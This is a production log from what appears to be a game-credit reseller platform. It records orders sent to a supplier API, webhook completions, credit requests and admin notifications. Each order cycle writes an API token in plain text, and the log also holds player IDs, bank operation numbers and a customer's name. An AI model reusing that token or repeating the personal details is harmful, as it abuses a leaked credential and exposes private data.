[2026-03-24 11:48:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"GRFdMVj2BWc4sS2vBll7wP6DgBg9s2oL","execution_time":"2026-03-24 11:48:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:48:50] production.INFO: Constructing job for order: 178585  
[2026-03-24 11:48:53] production.INFO: Handling job for order: 178585  
[2026-03-24 11:48:53] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 11:48:53] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 11:48:53] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/572/params?qty=2000&uuid=25d05881-3c52-497c-9649-2df750d78163&Player_ID=471156  
[2026-03-24 11:48:53] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/572/params?qty=2000&uuid=25d05881-3c52-497c-9649-2df750d78163&Player_ID=471156","has_body":false} 
[2026-03-24 11:48:54] production.INFO: Operation sent successfully {"operation_id":163514,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-aDCygTWL-1774342134","amount":1.8182636000000000908727315618307329714298248291015625,"status":"processing","product":"Dimo Amount","game":"Dimo","notes":[],"created_at":"2026-03-24 11:48:54"}},"processed_data":{"order_number":"ORD-aDCygTWL-1774342134","amount":1.8182636000000000908727315618307329714298248291015625,"status":"processing","product":"Dimo Amount","game":"Dimo"}} 
[2026-03-24 11:48:58] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-aDCygTWL-1774342134","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 11:48:58] production.INFO: Processed webhook data (normalized) {"id":"ORD-aDCygTWL-1774342134","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 11:48:58] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 11:48:58] production.INFO: SendAcceptReject: Notification queued {"user_id":107,"notification_type":"order_approved","reference_id":178585} 
[2026-03-24 11:48:58] production.INFO: Order updated successfully. Order ID: 178585, Status: completed  
[2026-03-24 11:48:58] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-aDCygTWL-1774342134","status":"completed","codes_count":0} 
[2026-03-24 11:49:00] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 107  
[2026-03-24 11:50:01] production.INFO: Creating credit request {"payload":{"method_id":"16","amount":"5000.0","mainamount":"5000","operation_number":"1245748474","note":"ابراهيم همسات","currency_id":"2"},"user_id":1200} 
[2026-03-24 11:50:01] production.INFO: Constructing job for order: 178586  
[2026-03-24 11:50:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"46lxYVpfRKTF2SDxKrKA0KfvNUoWQpiu","execution_time":"2026-03-24 11:50:03"} 
[2026-03-24 11:50:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"46lxYVpfRKTF2SDxKrKA0KfvNUoWQpiu","execution_time":"2026-03-24 11:50:03","total_operations":2,"sites_count":1} 
[2026-03-24 11:50:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"46lxYVpfRKTF2SDxKrKA0KfvNUoWQpiu","execution_time":"2026-03-24 11:50:03","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-UQr6BxpX-1774324667","ORD-9Vnn-1774339094"]} 
[2026-03-24 11:50:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"46lxYVpfRKTF2SDxKrKA0KfvNUoWQpiu","execution_time":"2026-03-24 11:50:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 11:50:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"46lxYVpfRKTF2SDxKrKA0KfvNUoWQpiu","execution_time":"2026-03-24 11:50:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 11:50:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"46lxYVpfRKTF2SDxKrKA0KfvNUoWQpiu","execution_time":"2026-03-24 11:50:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9Vnn-1774339094","operation_id":163492} 
[2026-03-24 11:50:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"46lxYVpfRKTF2SDxKrKA0KfvNUoWQpiu","execution_time":"2026-03-24 11:50:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:50:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"46lxYVpfRKTF2SDxKrKA0KfvNUoWQpiu","execution_time":"2026-03-24 11:50:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 11:50:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"46lxYVpfRKTF2SDxKrKA0KfvNUoWQpiu","execution_time":"2026-03-24 11:50:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 11:50:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"46lxYVpfRKTF2SDxKrKA0KfvNUoWQpiu","execution_time":"2026-03-24 11:50:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:50:03] production.INFO: Executing GetProducts task...  
[2026-03-24 11:50:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 11:50:03] production.INFO: Executing GetProducts task...  
[2026-03-24 11:50:05] production.INFO: async() رجع: true  
[2026-03-24 11:50:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 11:50:06] production.WARNING: Product with ID 395 not found  
[2026-03-24 11:50:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 11:50:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 11:50:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 11:50:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 11:50:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 11:50:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 11:50:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 11:50:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 11:50:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 11:50:07] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 11:50:07] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 11:50:07] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 11:50:07] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 11:50:07] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 11:50:07] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 11:50:07] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 11:50:07] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 11:50:07] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18601,"user_id":1200,"amount":5000.0,"admins_notified":7} 
[2026-03-24 11:50:07] production.INFO: Handling job for order: 178586  
[2026-03-24 11:50:07] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 11:50:07] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 11:50:07] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=3a7b2b33-2c4e-4b62-8b74-5b479f075007&Player_ID=5369585310  
[2026-03-24 11:50:07] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=3a7b2b33-2c4e-4b62-8b74-5b479f075007&Player_ID=5369585310","has_body":false} 
[2026-03-24 11:50:08] production.INFO: Operation sent successfully {"operation_id":163515,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Y0D2LC-1774342207","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 11:50:08"}},"processed_data":{"order_number":"ORD-Y0D2LC-1774342207","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG"}} 
[2026-03-24 11:50:16] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-Y0D2LC-1774342207","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 11:50:16] production.INFO: Processed webhook data (normalized) {"id":"ORD-Y0D2LC-1774342207","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 11:50:16] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 11:50:16] production.INFO: SendAcceptReject: Notification queued {"user_id":844,"notification_type":"order_approved","reference_id":178586} 
[2026-03-24 11:50:16] production.INFO: Order updated successfully. Order ID: 178586, Status: completed  
[2026-03-24 11:50:16] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-Y0D2LC-1774342207","status":"completed","codes_count":0} 
[2026-03-24 11:50:17] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 844  
[2026-03-24 11:51:03] production.INFO: Creating credit request {"payload":{"method_id":"9","amount":"250.0","mainamount":"250","operation_number":"600430728171","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpbqu285ejuvbr4jdSgwn"}},"user_id":100} 
[2026-03-24 11:51:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 11:51:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 11:51:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 11:51:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 11:51:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 11:51:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 11:51:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 11:51:05] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 11:51:05] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18602,"user_id":100,"amount":250.0,"admins_notified":7} 
[2026-03-24 11:52:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"AQJB9UcPWGtqm2pQShXanSzkALUieLQ9","execution_time":"2026-03-24 11:52:02"} 
[2026-03-24 11:52:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"AQJB9UcPWGtqm2pQShXanSzkALUieLQ9","execution_time":"2026-03-24 11:52:02","total_operations":2,"sites_count":1} 
[2026-03-24 11:52:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"AQJB9UcPWGtqm2pQShXanSzkALUieLQ9","execution_time":"2026-03-24 11:52:02","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-UQr6BxpX-1774324667","ORD-9Vnn-1774339094"]} 
[2026-03-24 11:52:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"AQJB9UcPWGtqm2pQShXanSzkALUieLQ9","execution_time":"2026-03-24 11:52:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 11:52:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"AQJB9UcPWGtqm2pQShXanSzkALUieLQ9","execution_time":"2026-03-24 11:52:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 11:52:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"AQJB9UcPWGtqm2pQShXanSzkALUieLQ9","execution_time":"2026-03-24 11:52:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9Vnn-1774339094","operation_id":163492} 
[2026-03-24 11:52:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"AQJB9UcPWGtqm2pQShXanSzkALUieLQ9","execution_time":"2026-03-24 11:52:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:52:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"AQJB9UcPWGtqm2pQShXanSzkALUieLQ9","execution_time":"2026-03-24 11:52:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 11:52:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"AQJB9UcPWGtqm2pQShXanSzkALUieLQ9","execution_time":"2026-03-24 11:52:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 11:52:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"AQJB9UcPWGtqm2pQShXanSzkALUieLQ9","execution_time":"2026-03-24 11:52:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:53:56] production.INFO: Constructing job for order: 178587  
[2026-03-24 11:53:59] production.INFO: Handling job for order: 178587  
[2026-03-24 11:53:59] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 11:53:59] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 11:53:59] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=af85d15b-e636-4b19-91d4-f5773484564b&Player_ID=5369585310  
[2026-03-24 11:53:59] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=af85d15b-e636-4b19-91d4-f5773484564b&Player_ID=5369585310","has_body":false} 
[2026-03-24 11:54:00] production.INFO: Operation sent successfully {"operation_id":163516,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-4xR1u-1774342439","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 11:54:00"}},"processed_data":{"order_number":"ORD-4xR1u-1774342439","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 11:54:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"Wm7lOvCQgosqOQeG0VxVuNpATO4RodDu","execution_time":"2026-03-24 11:54:03"} 
[2026-03-24 11:54:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"Wm7lOvCQgosqOQeG0VxVuNpATO4RodDu","execution_time":"2026-03-24 11:54:03","total_operations":3,"sites_count":1} 
[2026-03-24 11:54:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"Wm7lOvCQgosqOQeG0VxVuNpATO4RodDu","execution_time":"2026-03-24 11:54:03","site_id":3,"site_name":"swgamessd","orders_count":3,"order_ids":["ORD-UQr6BxpX-1774324667","ORD-9Vnn-1774339094","ORD-4xR1u-1774342439"]} 
[2026-03-24 11:54:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"Wm7lOvCQgosqOQeG0VxVuNpATO4RodDu","execution_time":"2026-03-24 11:54:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 11:54:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"Wm7lOvCQgosqOQeG0VxVuNpATO4RodDu","execution_time":"2026-03-24 11:54:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":3} 
[2026-03-24 11:54:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Wm7lOvCQgosqOQeG0VxVuNpATO4RodDu","execution_time":"2026-03-24 11:54:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-4xR1u-1774342439","operation_id":163516} 
[2026-03-24 11:54:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Wm7lOvCQgosqOQeG0VxVuNpATO4RodDu","execution_time":"2026-03-24 11:54:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9Vnn-1774339094","operation_id":163492} 
[2026-03-24 11:54:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Wm7lOvCQgosqOQeG0VxVuNpATO4RodDu","execution_time":"2026-03-24 11:54:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:54:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"Wm7lOvCQgosqOQeG0VxVuNpATO4RodDu","execution_time":"2026-03-24 11:54:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":3,"updates_prepared":0} 
[2026-03-24 11:54:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"Wm7lOvCQgosqOQeG0VxVuNpATO4RodDu","execution_time":"2026-03-24 11:54:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 11:54:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"Wm7lOvCQgosqOQeG0VxVuNpATO4RodDu","execution_time":"2026-03-24 11:54:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:54:08] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-4xR1u-1774342439","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 11:54:08] production.INFO: Processed webhook data (normalized) {"id":"ORD-4xR1u-1774342439","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 11:54:08] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 11:54:08] production.INFO: SendAcceptReject: Notification queued {"user_id":844,"notification_type":"order_approved","reference_id":178587} 
[2026-03-24 11:54:08] production.INFO: Order updated successfully. Order ID: 178587, Status: completed  
[2026-03-24 11:54:08] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-4xR1u-1774342439","status":"completed","codes_count":0} 
[2026-03-24 11:54:09] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 844  
[2026-03-24 11:55:03] production.INFO: Executing GetProducts task...  
[2026-03-24 11:55:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 11:55:03] production.INFO: Executing GetProducts task...  
[2026-03-24 11:55:05] production.INFO: async() رجع: true  
[2026-03-24 11:55:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 11:55:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 11:55:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 11:55:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 11:55:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 11:55:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 11:55:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 11:55:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 11:55:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 11:55:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 11:55:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 11:55:17] production.INFO: Constructing job for order: 178588  
[2026-03-24 11:55:18] production.INFO: Handling job for order: 178588  
[2026-03-24 11:55:18] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 11:55:18] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 11:55:18] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=8a805d8f-cce6-4e1a-ac89-f65a37f1ef9e&Player_ID=5369585310  
[2026-03-24 11:55:18] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=8a805d8f-cce6-4e1a-ac89-f65a37f1ef9e&Player_ID=5369585310","has_body":false} 
[2026-03-24 11:55:19] production.INFO: Operation sent successfully {"operation_id":163517,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-NaEVn-1774342519","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 11:55:19"}},"processed_data":{"order_number":"ORD-NaEVn-1774342519","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 11:55:28] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-NaEVn-1774342519","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 11:55:28] production.INFO: Processed webhook data (normalized) {"id":"ORD-NaEVn-1774342519","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 11:55:28] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 11:55:28] production.INFO: SendAcceptReject: Notification queued {"user_id":844,"notification_type":"order_approved","reference_id":178588} 
[2026-03-24 11:55:28] production.INFO: Order updated successfully. Order ID: 178588, Status: completed  
[2026-03-24 11:55:28] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-NaEVn-1774342519","status":"completed","codes_count":0} 
[2026-03-24 11:55:28] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 844  
[2026-03-24 11:56:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"sJyPRH9SbQLUAzBGwFx7wwaLSAGvhJlJ","execution_time":"2026-03-24 11:56:01"} 
[2026-03-24 11:56:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"sJyPRH9SbQLUAzBGwFx7wwaLSAGvhJlJ","execution_time":"2026-03-24 11:56:01","total_operations":2,"sites_count":1} 
[2026-03-24 11:56:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"sJyPRH9SbQLUAzBGwFx7wwaLSAGvhJlJ","execution_time":"2026-03-24 11:56:01","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-UQr6BxpX-1774324667","ORD-9Vnn-1774339094"]} 
[2026-03-24 11:56:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"sJyPRH9SbQLUAzBGwFx7wwaLSAGvhJlJ","execution_time":"2026-03-24 11:56:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 11:56:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"sJyPRH9SbQLUAzBGwFx7wwaLSAGvhJlJ","execution_time":"2026-03-24 11:56:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 11:56:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"sJyPRH9SbQLUAzBGwFx7wwaLSAGvhJlJ","execution_time":"2026-03-24 11:56:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9Vnn-1774339094","operation_id":163492} 
[2026-03-24 11:56:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"sJyPRH9SbQLUAzBGwFx7wwaLSAGvhJlJ","execution_time":"2026-03-24 11:56:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:56:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"sJyPRH9SbQLUAzBGwFx7wwaLSAGvhJlJ","execution_time":"2026-03-24 11:56:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 11:56:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"sJyPRH9SbQLUAzBGwFx7wwaLSAGvhJlJ","execution_time":"2026-03-24 11:56:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 11:56:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"sJyPRH9SbQLUAzBGwFx7wwaLSAGvhJlJ","execution_time":"2026-03-24 11:56:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:58:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"Co4Tvw0x7sxkigiYyHfxeAyc63tvRjx0","execution_time":"2026-03-24 11:58:02"} 
[2026-03-24 11:58:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"Co4Tvw0x7sxkigiYyHfxeAyc63tvRjx0","execution_time":"2026-03-24 11:58:02","total_operations":2,"sites_count":1} 
[2026-03-24 11:58:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"Co4Tvw0x7sxkigiYyHfxeAyc63tvRjx0","execution_time":"2026-03-24 11:58:02","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-UQr6BxpX-1774324667","ORD-9Vnn-1774339094"]} 
[2026-03-24 11:58:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"Co4Tvw0x7sxkigiYyHfxeAyc63tvRjx0","execution_time":"2026-03-24 11:58:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 11:58:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"Co4Tvw0x7sxkigiYyHfxeAyc63tvRjx0","execution_time":"2026-03-24 11:58:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 11:58:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Co4Tvw0x7sxkigiYyHfxeAyc63tvRjx0","execution_time":"2026-03-24 11:58:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9Vnn-1774339094","operation_id":163492} 
[2026-03-24 11:58:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Co4Tvw0x7sxkigiYyHfxeAyc63tvRjx0","execution_time":"2026-03-24 11:58:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:58:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"Co4Tvw0x7sxkigiYyHfxeAyc63tvRjx0","execution_time":"2026-03-24 11:58:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 11:58:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"Co4Tvw0x7sxkigiYyHfxeAyc63tvRjx0","execution_time":"2026-03-24 11:58:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 11:58:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"Co4Tvw0x7sxkigiYyHfxeAyc63tvRjx0","execution_time":"2026-03-24 11:58:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:58:40] production.INFO: Constructing job for order: 178589  
[2026-03-24 11:58:41] production.INFO: Handling job for order: 178589  
[2026-03-24 11:58:41] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 11:58:41] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 11:58:41] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/561/params?qty=50000&uuid=b79ffb69-4697-4a50-b918-8e42def9ca8a&Player_ID=3270271  
[2026-03-24 11:58:41] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/561/params?qty=50000&uuid=b79ffb69-4697-4a50-b918-8e42def9ca8a&Player_ID=3270271","has_body":false} 
